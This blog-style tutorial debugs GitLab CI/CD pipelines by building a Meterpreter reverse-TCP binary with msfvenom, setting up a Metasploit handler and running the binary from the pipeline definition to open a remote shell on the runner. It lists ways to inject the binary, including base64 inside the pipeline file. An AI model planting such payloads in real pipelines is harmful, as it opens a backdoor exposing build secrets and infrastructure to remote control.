Debug Gitlab CI/CD pipelines with Metasploit
Many individuals frequently encounter difficulties when troubleshooting their pipelines. Often, the common approach to debugging these pipelines involves employing a trial and error methodology. However, there exists a superior solution that is both more sophisticated and efficient.
By injecting code in between the commands which one wishes to troubleshoot, and then having a full environment access along with the tools required to perform tests and analysis is the ideal scenario. Considering the requirements:
- Not always you can connect to the runner instance directly, so the runner has to connect to your server.
- Runners can be executed inside a cluster (Kubernetes, Docker Swarm, AWS ECS, etc…), the tool and connection method must accommodate for it.
- The injected binary must have the minimum amount of dependencies possible, so no further setup is required.
- The binary must include tooling to facilitate the troubleshooting process, such as tools for downloading, uploading and manipulating files, troubleshooting network connections and connectivity issues and handling processes.
This is a concept which can be reused on other CI/CD tools, such as Github Actions, Travis and Jenkins.
Meterpreter
Meterpreter is a powerful and versatile post-exploitation tool widely used in the field of cybersecurity. Developed as part of the Metasploit Framework, Meterpreter is designed to provide remote access and control over compromised systems, allowing penetration testers and security professionals to interact with target machines seamlessly.
Meterpreter fulfill all our requirements, it operates using several connection methods, including reverse connection, can be generated for not having any dependencies and includes a good set of tooling which we can leverage to debug CI/CD pipelines.
Generate a Meterpreter payload
The very first step into this demonstration is to generate the binary payload being used. Once Metasploit is installed, simply run:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > meterpreter.elf
To facilitate the process, on systems with a few network cards, is common for
the first one to be a loopback
interface, the bash function below get the first
IP address after the loopback
interface:
function msfvenom-linux-meterpreter-default() {
local LHOST="${1:-$(ip addr show | grep -o "inet [0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | grep -o "[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*" | head -2 | tail -1)}"
local LPORT="${2:-4444}"
echo "[+] Creating a reverse connect meterpreter payload for ${LHOST}:${LPORT}"
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=${LHOST} LPORT=${LPORT} -f elf > meterpreter.elf
echo "[+] Result saved to meterpreter.elf"
}
Nothing more than this is required to create a Meterpreter binary. If you run
the function msfvenom-linux-meterpreter-default
without any parameter, the first
network interface after loopback
will be used, or you can specify as the first
parameter, the IP address which the meterpreter payload will use. The second
parameter is the port to which it will connect to, the default is 4444
in case
no port is set.
We can easily check if the resulting binary is statically linked:
ldd ../../meterprefer.elf
statically linked
Other networking aspects should also be taken into consideration, in case you
are behind a firewall, opening the respective ports and configuring the proper
forward is required. If you are using Nixos
you will need to setup your local
firewall as such:
networking.firewall = {
enable = true;
allowedTCPPorts = [ 4444 ];
};
Serving the binary
There are three main ways in which the binary can be injected into the CI/CD pipeline:
- Add it directly to the git, commit and push it.
- Encode it with base64 and inject it into the pipeline definition, and during runtime convert it to a binary.
- Serve it over the network and download it as a step on the pipeline.
For the sake of simplicity, we will follow up with adding it to the repository as a binary file.
Executing
Before moving forward with the pipeline, the next step is to setup Metasploit
and listen for the connection from the binary. Start msfconsole
on your platform
and use the following commands, adjust them based on the arguments used when
creating the binary:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.15.22
LHOST => 192.168.15.22
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.15.22:4444
Gitlab runner job definition
For the exemplification of this technique, a simple pipeline like the one below can be used to attest the functionality and capabilities described on this document. Add the following file to your repository, commit and push it.
stages:
- run
Run:
stage: run
script:
- chmod +x meterpreter.elf
- ./meterpreter.elf
If CI/CD
is not being shown on the left menu, select Settings > General
, on this
page expand Visibility, project features, permissions
, in the Repository
section, turn on CI/CD
, select Save changes. On real pipelines you may be
interested in using before_script
to execute the injected binary:
.start_debug_session:
before_script:
- chmod +x meterpreter.elf
- ./meterpreter.elf
my_failing_job:
extends: .start_debug_session
script:
- pytest
Shell
After puting all the pieces together and triggering the pipeline, you should be presented with similar messages on your Metasploit terminal.
[*] Meterpreter session 1 opened (192.168.15.22:4444 -> 192.168.15.22:33800) at 2023-07-28 23:46:41 +0200 msf6 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/linux rafael @ localhost 192.168.15.22:4444 -> 192.168.15.22:33800 (192.16 8.15.22)
You can use sessions -i
to interact with a connection, and Ctrl+Z
to stop
interacting with it without killing it. Once the connection is in place, you
have a full shell, along with a lot of other useful commands which you can use
to debug your pipelines:
meterpreter > ls Listing: /var/lib/private/gitlab-runner/builds/s5L862kM/0/rafael/test-debug-gitlab =============================================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 040755/rwxr-xr-x 86 dir 2023-07-29 02:26:42 +0200 .git 100644/rw-r--r-- 130 fil 2023-07-29 02:26:41 +0200 .gitlab-ci.yml 100644/rw-r--r-- 6225 fil 2023-07-29 02:25:31 +0200 README.md 100755/rwxr-xr-x 1038520 fil 2023-07-29 02:26:15 +0200 meterpreter.elf
System commands
Command Description ------- ----------- execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes shell Drop into a system command shell suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS
File commands
Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file chmod Change the permissions of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory
Networking commands
Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table